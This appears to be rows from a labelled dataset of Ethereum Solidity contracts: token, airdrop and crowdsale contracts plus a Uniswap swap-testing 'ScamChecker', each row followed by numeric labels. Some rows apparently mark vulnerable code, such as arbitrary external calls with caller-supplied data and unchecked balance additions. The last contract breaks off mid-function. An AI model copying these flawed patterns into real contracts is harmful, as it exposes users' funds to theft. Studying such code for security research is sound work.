totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function doAirdrop(address _participant, uint _amount) internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner {
doAirdrop(_participant, _amount);
}
function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
require(msg.value >= MIN_CONTRIBUTION);
require(msg.value > 0);
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= 0.5 ether) {
bonus = (tokens * 5) / 100;
}
if (msg.value >= 1 ether) {
bonus = (tokens * 10) / 100;
}
if (msg.value >= 4 ether) {
bonus = (tokens * 15) / 100;
}
if (tokens > 0) {
distr(investor, (tokens + bonus));
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 4,412 |
pragma solidity ^0.4.23;
pragma experimental "v0.5.0";
pragma experimental ABIEncoderV2;
library AddressExtension {
function isValid(address _address) internal pure returns (bool) {
return 0 != _address;
}
function isAccount(address _address) internal view returns (bool result) {
assembly {
result := iszero(extcodesize(_address))
}
}
function toBytes(address _address) internal pure returns (bytes b) {
assembly {
let m := mload(0x40)
mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, _address))
mstore(0x40, add(m, 52))
b := m
}
}
}
library Math {
struct Fraction {
uint256 numerator;
uint256 denominator;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a * b;
require((a == 0) || (r / a == b));
}
function div(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a - b) <= a);
}
function add(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a + b) >= a);
}
function min(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x >= y ? x : y;
}
function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
r = value * m;
if (r / value == m) {
r /= d;
} else {
r = mul(value / d, m);
}
}
function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
r = value * m;
if (r / value == m) {
r /= d;
if (r % d != 0) {
r += 1;
}
} else {
r = mul(value / d, m);
if (value % d != 0) {
r += 1;
}
}
}
function mul(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.numerator, f.denominator);
}
function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.numerator, f.denominator);
}
function div(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.denominator, f.numerator);
}
function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.denominator, f.numerator);
}
}
contract FsTKAuthority {
function isAuthorized(address sender, address _contract, bytes data) public view returns (bool);
function isApproved(bytes32 hash, uint256 approveTime, bytes approveToken) public view returns (bool);
function validate() public pure returns (bool);
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address owner) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
contract SecureERC20 is ERC20 {
event SetERC20ApproveChecking(bool approveChecking);
function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool);
function increaseAllowance(address spender, uint256 value) public returns (bool);
function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool);
function setERC20ApproveChecking(bool approveChecking) public;
}
contract FsTKToken {
event SetupDirectDebit(address indexed debtor, address indexed receiver, DirectDebitInfo info);
event TerminateDirectDebit(address indexed debtor, address indexed receiver);
event WithdrawDirectDebitFailure(address indexed debtor, address indexed receiver);
event SetMetadata(string metadata);
event SetLiquid(bool liquidity);
event SetDelegate(bool isDelegateEnable);
event SetDirectDebit(bool isDirectDebitEnable);
struct DirectDebitInfo {
uint256 amount;
uint256 startTime;
uint256 interval;
}
struct DirectDebit {
DirectDebitInfo info;
uint256 epoch;
}
struct Instrument {
uint256 allowance;
DirectDebit directDebit;
}
struct Account {
uint256 balance;
uint256 nonce;
mapping (address => Instrument) instruments;
}
function spendableAllowance(address owner, address spender) public view returns (uint256);
function transfer(uint256[] data) public returns (bool);
function transferAndCall(address to, uint256 value, bytes data) public payable returns (bool);
function delegateTransferAndCall(
uint256 nonce,
uint256 gasAmount,
address to,
uint256 value,
bytes data,
uint8 v,
bytes32 r,
bytes32 s
) public returns (bool);
function directDebitOf(address debtor, address receiver) public view returns (DirectDebit);
function setupDirectDebit(address receiver, DirectDebitInfo info) public returns (bool);
function terminateDirectDebit(address receiver) public returns (bool);
function withdrawDirectDebit(address debtor) public returns (bool);
function withdrawDirectDebit(address[] debtors, bool strict) public returns (bool result);
}
contract AbstractToken is SecureERC20, FsTKToken {
using AddressExtension for address;
using Math for uint256;
modifier liquid {
require(isLiquid);
_;
}
modifier canUseDirectDebit {
require(isDirectDebitEnable);
_;
}
bool public erc20ApproveChecking;
bool public isLiquid = true;
bool public isDelegateEnable;
bool public isDirectDebitEnable;
string public metadata;
mapping(address => Account) internal accounts;
constructor(string _metadata) public {
metadata = _metadata;
}
function balanceOf(address owner) public view returns (uint256) {
return accounts[owner].balance;
}
function allowance(address owner, address spender) public view returns (uint256) {
return accounts[owner].instruments[spender].allowance;
}
function transfer(address to, uint256 value) public liquid returns (bool) {
Account storage senderAccount = accounts[msg.sender];
uint256 senderBalance = senderAccount.balance;
require(value <= senderBalance);
senderAccount.balance = senderBalance - value;
accounts[to].balance += value;
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public liquid returns (bool) {
Account storage fromAccount = accounts[from];
uint256 fromBalance = fromAccount.balance;
Instrument storage senderInstrument = fromAccount.instruments[msg.sender];
uint256 senderAllowance = senderInstrument.allowance;
require(value <= fromBalance);
require(value <= senderAllowance);
fromAccount.balance = fromBalance - value;
senderInstrument.allowance = senderAllowance - value;
accounts[to].balance += value;
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
if (erc20ApproveChecking) {
require((value == 0) || (spenderInstrument.allowance == 0));
}
spenderInstrument.allowance = value;
emit Approval(msg.sender, spender, value);
return true;
}
function setERC20ApproveChecking(bool approveChecking) public {
emit SetERC20ApproveChecking(erc20ApproveChecking = approveChecking);
}
function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
require(spenderInstrument.allowance == expectedValue);
spenderInstrument.allowance = newValue;
emit Approval(msg.sender, spender, newValue);
return true;
}
function increaseAllowance(address spender, uint256 value) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
uint256 newValue = spenderInstrument.allowance.add(value);
spenderInstrument.allowance = newValue;
emit Approval(msg.sender, spender, newValue);
return true;
}
function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
uint256 currentValue = spenderInstrument.allowance;
uint256 newValue;
if (strict) {
newValue = currentValue.sub(value);
} else if (value < currentValue) {
newValue = currentValue - value;
}
spenderInstrument.allowance = newValue;
emit Approval(msg.sender, spender, newValue);
return true;
}
function setMetadata0(string _metadata) internal {
emit SetMetadata(metadata = _metadata);
}
function setLiquid0(bool liquidity) internal {
emit SetLiquid(isLiquid = liquidity);
}
function setDelegate(bool delegate) public {
emit SetDelegate(isDelegateEnable = delegate);
}
function setDirectDebit(bool directDebit) public {
emit SetDirectDebit(isDirectDebitEnable = directDebit);
}
function spendableAllowance(address owner, address spender) public view returns (uint256) {
Account storage ownerAccount = accounts[owner];
return Math.min(
ownerAccount.instruments[spender].allowance,
ownerAccount.balance
);
}
function transfer(uint256[] data) public liquid returns (bool) {
Account storage senderAccount = accounts[msg.sender];
uint256 totalValue;
for (uint256 i = 0; i < data.length; i++) {
address receiver = address(data[i] >> 96);
uint256 value = data[i] & 0xffffffffffffffffffffffff;
totalValue = totalValue.add(value);
accounts[receiver].balance += value;
emit Transfer(msg.sender, receiver, value);
}
uint256 senderBalance = senderAccount.balance;
require(totalValue <= senderBalance);
senderAccount.balance = senderBalance - totalValue;
return true;
}
function transferAndCall(address to, uint256 value, bytes data) public payable liquid returns (bool) {
require(to != address(this));
require(transfer(to, value));
require(data.length >= 68);
assembly {
mstore(add(data, 36), value)
mstore(add(data, 68), caller)
}
require(to.call.value(msg.value)(data));
return true;
}
function delegateTransferAndCall(
uint256 nonce,
uint256 gasAmount,
address to,
uint256 value,
bytes data,
uint8 v,
bytes32 r,
bytes32 s
)
public
liquid
returns (bool)
{
require(isDelegateEnable);
require(to != address(this));
address signer = ecrecover(
keccak256(nonce, gasAmount, to, value, data),
v,
r,
s
);
Account storage signerAccount = accounts[signer];
require(nonce == signerAccount.nonce);
signerAccount.nonce = nonce.add(1);
uint256 signerBalance = signerAccount.balance;
uint256 total = value.add(gasAmount);
require(total <= signerBalance);
signerAccount.balance = signerBalance - total;
accounts[to].balance += value;
emit Transfer(signer, to, value);
accounts[msg.sender].balance += gasAmount;
emit Transfer(signer, msg.sender, gasAmount);
if (!to.isAccount()) {
require(data.length >= 68);
assembly {
mstore(add(data, 36), value)
mstore(add(data, 68), signer)
}
require(to.call(data));
}
return true;
}
function directDebitOf(address debtor, address receiver) public view returns (DirectDebit) {
return accounts[debtor].instruments[receiver].directDebit;
}
function setupDirectDebit(
address receiver,
DirectDebitInfo info
)
public
returns (bool)
{
accounts[msg.sender].instruments[receiver].directDebit = DirectDebit({
info: info,
epoch: 0
});
emit SetupDirectDebit(msg.sender, receiver, info);
return true;
}
function terminateDirectDebit(address receiver) public returns (bool) {
delete accounts[msg.sender].instruments[receiver].directDebit;
emit TerminateDirectDebit(msg.sender, receiver);
return true;
}
function calculateTotalDirectDebitAmount(uint256 amount, uint256 epochNow, uint256 epochLast) pure private returns (uint256) {
require(amount > 0);
require(epochNow > epochLast);
return (epochNow - epochLast).mul(amount);
}
function withdrawDirectDebit(address debtor) public liquid canUseDirectDebit returns (bool) {
Account storage debtorAccount = accounts[debtor];
uint256 debtorBalance = debtorAccount.balance;
DirectDebit storage directDebit = debtorAccount.instruments[msg.sender].directDebit;
uint256 epoch = block.timestamp.sub(directDebit.info.startTime) / directDebit.info.interval + 1;
uint256 amount = calculateTotalDirectDebitAmount(directDebit.info.amount, epoch, directDebit.epoch);
require(amount <= debtorBalance);
debtorAccount.balance = debtorBalance - amount;
accounts[msg.sender].balance += amount;
directDebit.epoch = epoch;
emit Transfer(debtor, msg.sender, amount);
return true;
}
function withdrawDirectDebit(address[] debtors, bool strict) public liquid canUseDirectDebit returns (bool result) {
Account storage receiverAccount = accounts[msg.sender];
result = true;
for (uint256 i = 0; i < debtors.length; i++) {
address debtor = debtors[i];
Account storage debtorAccount = accounts[debtor];
uint256 debtorBalance = debtorAccount.balance;
DirectDebit storage directDebit = debtorAccount.instruments[msg.sender].directDebit;
uint256 epoch = block.timestamp.sub(directDebit.info.startTime) / directDebit.info.interval + 1;
uint256 amount = calculateTotalDirectDebitAmount(directDebit.info.amount, epoch, directDebit.epoch);
if (amount > debtorBalance) {
if (strict) {
revert();
}
result = false;
emit WithdrawDirectDebitFailure(debtor, msg.sender);
} else {
debtorAccount.balance = debtorBalance - amount;
receiverAccount.balance += amount;
directDebit.epoch = epoch;
emit Transfer(debtor, msg.sender, amount);
}
}
}
}
contract Authorizable {
event SetFsTKAuthority(FsTKAuthority indexed _address);
modifier onlyFsTKAuthorized {
require(fstkAuthority.isAuthorized(msg.sender, this, msg.data));
_;
}
modifier onlyFsTKApproved(bytes32 hash, uint256 approveTime, bytes approveToken) {
require(fstkAuthority.isApproved(hash, approveTime, approveToken));
_;
}
FsTKAuthority internal fstkAuthority;
constructor(FsTKAuthority _fstkAuthority) internal {
fstkAuthority = _fstkAuthority;
}
function setFsTKAuthority(FsTKAuthority _fstkAuthority) public onlyFsTKAuthorized {
require(_fstkAuthority.validate());
emit SetFsTKAuthority(fstkAuthority = _fstkAuthority);
}
}
contract IssuerContract {
using AddressExtension for address;
event SetIssuer(address indexed _address);
modifier onlyIssuer {
require(issuer == msg.sender);
_;
}
address public issuer;
constructor(address _issuer) internal {
issuer = _issuer;
}
function setIssuer(address _address) public onlyIssuer {
emit SetIssuer(issuer = _address);
}
}
contract SmartToken is AbstractToken, IssuerContract, Authorizable {
string public name;
string public symbol;
uint256 public totalSupply;
uint8 public constant decimals = 18;
constructor(
address _issuer,
FsTKAuthority _fstkAuthority,
string _name,
string _symbol,
uint256 _totalSupply,
string _metadata
)
AbstractToken(_metadata)
IssuerContract(_issuer)
Authorizable(_fstkAuthority)
public
{
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
accounts[_issuer].balance = _totalSupply;
emit Transfer(address(0), _issuer, _totalSupply);
}
function setERC20ApproveChecking(bool approveChecking) public onlyIssuer {
AbstractToken.setERC20ApproveChecking(approveChecking);
}
function setDelegate(bool delegate) public onlyIssuer {
AbstractToken.setDelegate(delegate);
}
function setDirectDebit(bool directDebit) public onlyIssuer {
AbstractToken.setDirectDebit(directDebit);
}
function setMetadata(
string infoUrl,
uint256 approveTime,
bytes approveToken
)
public
onlyIssuer
onlyFsTKApproved(keccak256(approveTime, this, msg.sig, infoUrl), approveTime, approveToken)
{
setMetadata0(infoUrl);
}
function setLiquid(
bool liquidity,
uint256 approveTime,
bytes approveToken
)
public
onlyIssuer
onlyFsTKApproved(keccak256(approveTime, this, msg.sig, liquidity), approveTime, approveToken)
{
setLiquid0(liquidity);
}
} | 1 | 5,337 |
pragma solidity ^0.6.6;
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ScamChecker {
address payable public contractOwner;
constructor() public {
contractOwner = msg.sender;
}
function execute(bytes calldata data) external payable {
}
function withdraw(address atoken) public {
require(msg.sender == contractOwner, "Nope");
IERC20 token = IERC20(atoken);
uint256 bal = token.balanceOf(address(this));
if (bal > 0)
token.transfer(contractOwner, bal);
bal = address(this).balance;
if (bal > 0)
contractOwner.send(bal);
}
function testTokenWeth(address tokenAddr) public {
testToken(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, tokenAddr);
}
function testToken(address tokenAddr0, address tokenAddr1) public {
IERC20 token0 = IERC20(tokenAddr0);
IERC20 token1 = IERC20(tokenAddr1);
token0.approve(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, uint(-1));
token1.approve(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, uint(-1));
IUniswapV2Router02 exchange = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address[] memory path = new address[](2);
path[0] = tokenAddr0;
path[1] = tokenAddr1;
uint256 bal = token0.balanceOf(address(this));
exchange.swapExactTokensForTokens(bal, 1, path, address(this), block.timestamp);
bal = token1.balanceOf(address(this));
path[0] = tokenAddr1;
path[1] = tokenAddr0;
exchange.swapExactTokensForTokens(bal, 1, path, address(this), block.timestamp);
}
function testFeeTokenWeth(address tokenAddr) public {
testFeeToken(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, tokenAddr);
}
function testFeeToken(address tokenAddr0, address tokenAddr1) public {
IERC20 token0 = IERC20(tokenAddr0);
IERC20 token1 = IERC20(tokenAddr1);
token0.approve(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, uint(-1));
token1.approve(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, uint(-1));
IUniswapV2Router02 exchange = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address[] memory path = new address[](2);
path[0] = tokenAddr0;
path[1] = tokenAddr1;
uint256 bal = token0.balanceOf(address(this));
exchange.swapExactTokensForTokensSupportingFeeOnTransferTokens(bal, 1, path, address(this), block.timestamp);
bal = token1.balanceOf(address(this));
path[0] = tokenAddr1;
path[1] = tokenAddr0;
exchange.swapExactTokensForTokensSupportingFeeOnTransferTokens(bal, 1, path, address(this), block.timestamp);
}
} | 0 | 1,346 |
pragma solidity 0.4.20;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
assert(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
assert(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
assert(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
assert(b > 0);
c = a / b;
assert(a == b * c + a % b);
}
}
contract AcreConfig {
using SafeMath for uint;
uint internal constant TIME_FACTOR = 1 days;
uint internal constant OWNERSHIP_DURATION_TIME = 7;
uint8 internal constant MULTI_OWNER_COUNT = 5;
uint internal constant LOCKUP_DURATION_TIME = 365;
string internal constant TOKEN_NAME = "Acre";
string internal constant TOKEN_SYMBOL = "ACRE";
uint8 internal constant TOKEN_DECIMALS = 18;
uint internal constant INITIAL_SUPPLY = 1*1e8 * 10 ** uint(TOKEN_DECIMALS);
uint internal constant CAPITAL_SUPPLY = 31*1e6 * 10 ** uint(TOKEN_DECIMALS);
uint internal constant PRE_PAYMENT_SUPPLY = 19*1e6 * 10 ** uint(TOKEN_DECIMALS);
uint internal constant MAX_MINING_SUPPLY = 4*1e8 * 10 ** uint(TOKEN_DECIMALS);
uint internal constant MIN_ETHER = 1*1e17;
uint internal constant EXCHANGE_RATE = 1000;
uint internal constant PRESALE_DURATION_TIME = 15;
uint internal constant CROWDSALE_DURATION_TIME = 23;
function getDays(uint _time) internal pure returns(uint) {
return SafeMath.div(_time, 1 days);
}
function getHours(uint _time) internal pure returns(uint) {
return SafeMath.div(_time, 1 hours);
}
function getMinutes(uint _time) internal pure returns(uint) {
return SafeMath.div(_time, 1 minutes);
}
}
contract Ownable is AcreConfig {
address public owner;
address public reservedOwner;
uint public ownershipDeadline;
event ReserveOwnership(address indexed oldOwner, address indexed newOwner);
event ConfirmOwnership(address indexed oldOwner, address indexed newOwner);
event CancelOwnership(address indexed oldOwner, address indexed newOwner);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function Ownable() public {
owner = msg.sender;
}
function reserveOwnership(address newOwner) onlyOwner public returns (bool success) {
require(newOwner != address(0));
ReserveOwnership(owner, newOwner);
reservedOwner = newOwner;
ownershipDeadline = SafeMath.add(now, SafeMath.mul(OWNERSHIP_DURATION_TIME, TIME_FACTOR));
return true;
}
function confirmOwnership() onlyOwner public returns (bool success) {
require(reservedOwner != address(0));
require(now > ownershipDeadline);
ConfirmOwnership(owner, reservedOwner);
owner = reservedOwner;
reservedOwner = address(0);
return true;
}
function cancelOwnership() onlyOwner public returns (bool success) {
require(reservedOwner != address(0));
CancelOwnership(owner, reservedOwner);
reservedOwner = address(0);
return true;
}
}
contract MultiOwnable is Ownable {
address[] public owners;
event GrantOwners(address indexed owner);
event RevokeOwners(address indexed owner);
modifier onlyMutiOwners {
require(isExistedOwner(msg.sender));
_;
}
modifier onlyManagers {
require(isManageable(msg.sender));
_;
}
function MultiOwnable() public {
owners.length = MULTI_OWNER_COUNT;
}
function grantOwners(address _owner) onlyOwner public returns (bool success) {
require(!isExistedOwner(_owner));
require(isEmptyOwner());
owners[getEmptyIndex()] = _owner;
GrantOwners(_owner);
return true;
}
function revokeOwners(address _owner) onlyOwner public returns (bool success) {
require(isExistedOwner(_owner));
owners[getOwnerIndex(_owner)] = address(0);
RevokeOwners(_owner);
return true;
}
function isManageable(address _owner) internal constant returns (bool) {
return isExistedOwner(_owner) || owner == _owner;
}
function isExistedOwner(address _owner) internal constant returns (bool) {
for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) {
if(owners[i] == _owner) {
return true;
}
}
}
function getOwnerIndex(address _owner) internal constant returns (uint) {
for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) {
if(owners[i] == _owner) {
return i;
}
}
}
function isEmptyOwner() internal constant returns (bool) {
for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) {
if(owners[i] == address(0)) {
return true;
}
}
}
function getEmptyIndex() internal constant returns (uint) {
for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) {
if(owners[i] == address(0)) {
return i;
}
}
}
}
contract Pausable is MultiOwnable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
modifier whenConditionalPassing() {
if(!isManageable(msg.sender)) {
require(!paused);
}
_;
}
function pause() onlyManagers whenNotPaused public returns (bool success) {
paused = true;
Pause();
return true;
}
function unpause() onlyManagers whenPaused public returns (bool success) {
paused = false;
Unpause();
return true;
}
}
contract Lockable is Pausable {
mapping (address => uint) public locked;
event Lockup(address indexed target, uint startTime, uint deadline);
function lockup(address _target) onlyOwner public returns (bool success) {
require(!isManageable(_target));
locked[_target] = SafeMath.add(now, SafeMath.mul(LOCKUP_DURATION_TIME, TIME_FACTOR));
Lockup(_target, now, locked[_target]);
return true;
}
function isLockup(address _target) internal constant returns (bool) {
if(now <= locked[_target])
return true;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint _value, address _token, bytes _extraData) external;
}
contract TokenERC20 {
using SafeMath for uint;
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event ERC20Token(address indexed owner, string name, string symbol, uint8 decimals, uint supply);
event Transfer(address indexed from, address indexed to, uint value);
event TransferFrom(address indexed from, address indexed to, address indexed spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function TokenERC20(
string _tokenName,
string _tokenSymbol,
uint8 _tokenDecimals,
uint _initialSupply
) public {
name = _tokenName;
symbol = _tokenSymbol;
decimals = _tokenDecimals;
totalSupply = _initialSupply;
balanceOf[msg.sender] = totalSupply;
ERC20Token(msg.sender, name, symbol, decimals, totalSupply);
}
function _transfer(address _from, address _to, uint _value) internal returns (bool success) {
require(_to != address(0));
require(balanceOf[_from] >= _value);
require(SafeMath.add(balanceOf[_to], _value) > balanceOf[_to]);
uint previousBalances = SafeMath.add(balanceOf[_from], balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(_from, _to, _value);
assert(SafeMath.add(balanceOf[_from], balanceOf[_to]) == previousBalances);
return true;
}
function transfer(address _to, uint _value) public returns (bool success) {
return _transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
TransferFrom(_from, _to, msg.sender, _value);
return true;
}
function approve(address _spender, uint _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
contract AcreToken is Lockable, TokenERC20 {
string public version = '1.0';
address public companyCapital;
address public prePayment;
uint public totalMineSupply;
mapping (address => bool) public frozenAccount;
event FrozenAccount(address indexed target, bool frozen);
event Burn(address indexed owner, uint value);
event Mining(address indexed recipient, uint value);
event WithdrawContractToken(address indexed owner, uint value);
function AcreToken(address _companyCapital, address _prePayment) TokenERC20(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS, INITIAL_SUPPLY) public {
require(_companyCapital != address(0));
require(_prePayment != address(0));
companyCapital = _companyCapital;
prePayment = _prePayment;
transfer(companyCapital, CAPITAL_SUPPLY);
transfer(prePayment, PRE_PAYMENT_SUPPLY);
lockup(prePayment);
pause();
}
function _transfer(address _from, address _to, uint _value) whenConditionalPassing internal returns (bool success) {
require(!frozenAccount[_from]);
